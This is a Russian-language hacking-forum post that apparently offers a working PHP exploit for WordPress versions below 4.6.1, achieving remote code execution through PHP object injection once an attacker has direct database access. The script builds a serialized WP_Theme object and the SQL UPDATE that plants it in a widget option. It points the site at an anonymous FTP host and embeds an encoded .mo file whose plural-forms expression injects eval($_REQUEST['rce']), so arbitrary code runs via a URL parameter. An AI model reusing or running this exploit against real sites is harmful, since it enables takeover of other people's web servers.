Показать сообщение отдельно
Старый 26.11.2016, 10:38   #4
crlf
 
Аватар для crlf
 
Регистрация: 29.09.2015
Сообщений: 101
Репутация: 17
По умолчанию Wordpress < 4.6.1 RCE through PHP Object Injection by direct DB access

С генерацией куки разбираться лень, тем более что есть UPDATE. Пока память свежа, по аналогии с недавним постом (https://rdot.org/forum/showthread.php?p=40683#post40683), состряпал код под твой случай.

После запроса Payload в БД, выполнение кода будет происходить так:

Цитата:
http://site.com/wordpress/?rce=phpinfo();
Чтоб вернуть всё как было, нужно выполнить запрос Restore.

Использование возможно с любым виджетом, главное задать правильный $option_id и он (виджет) должен отображаться на блоге. Если таковых нет, то пользуясь UPDATE/INSERT можно навремя включить.

Тестить обязательно на localhost!

PHP код:
<?php

/*
 * Wordpress < 4.6.1 RCE through PHP Object Injection by direct DB access
 * coded by crlf
 * rdot.org
 *
 * http://site.com/wordpress/?rce=phpinfo();
 * plural=1);}eval($_REQUEST['rce']);/*
 * 
 */ 

$ftp "ftp://127.0.0.1"//FTP with anonymous access, only host, without slash
$dir "yyyy"//any
$file "en_US.mo"//don't change this
$option_id 94//recent posts widget in 4.6.1

eval("
class WP_Theme{
    private \$headers = array('Name'=>'Foo', 'TextDomain'=>'Bar');
    private \$theme_root = '
$ftp';
    private \$stylesheet = '
$dir';
}
"
);

$default 'a:2:{i:2;a:1:{s:5:"title";s:0:"";}s:12:"_multiwidget";i:1;}';
$arr =  unserialize($default);
$arr[2]['title'] = new WP_Theme;


echo 
"\nPayload: \nUPDATE wp_options SET option_value = 0x".ascii2hex(serialize($arr))." WHERE wp_options.option_id = ".$option_id."\n";

echo 
"\nRestore: \nUPDATE wp_options SET option_value = 0x".ascii2hex($default)." WHERE wp_options.option_id = ".$option_id."\n";

echo 
"\nCheck it:\n\n$ftp/path/to/anonymous/directory/$dir/languages/$file\n\n"

if(!
file_exists($file)) file_put_contents($filegzdecode(base64_decode('H4sIAAAAAAAAA3VRz08UMRQu4mnkxMGThx40COQxO4uaTTd7EBiQZCcuu7NqYgwpM8/Zkm47aTsESLj5L/jv+V94982OChde8vV9bb/k/fh+bT79ySjWCS8Ib1gX4wf5OSEjPCOUhB9rjNV/338TjyhvPKHjveF4LZe1RvbK/6OefUCtLf9snS7ZxNlLLAKclvAJnVfWCD62heVHuLTRFGvrAmS+UiUcNJWH3AoeTT7mcOhQBpLDkQwoeL+XvIMkgX6fJ2/F/v5uj4KEMMUr5R/VDTrdWPoAuZPGaxmsoxJjaapGVgg5yqXgs1oa5Rf/nwVHD+ksmujGSQ3H1i294KZeXf2oP+QdHSXbwzu8kvr1y/NpejZPZ/nXLVfg1rftYbwTZadZej93steLDq0JaKiZm5qKBLwOca2lMkNeLKTzGEbz/BgG97q26e/oIDWFLZWpBB9cqBB9gXaLMLMNVWu51G3T5nw6p78TNOi6SVfLBr4IofYijnWrVB73LtRtzOZk4CWSa3ZlYEfJQKslzxpTWhb9AQtsWO0xAgAA'))); 

function 
ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}

?>
crlf вне форума   Ответить с цитированием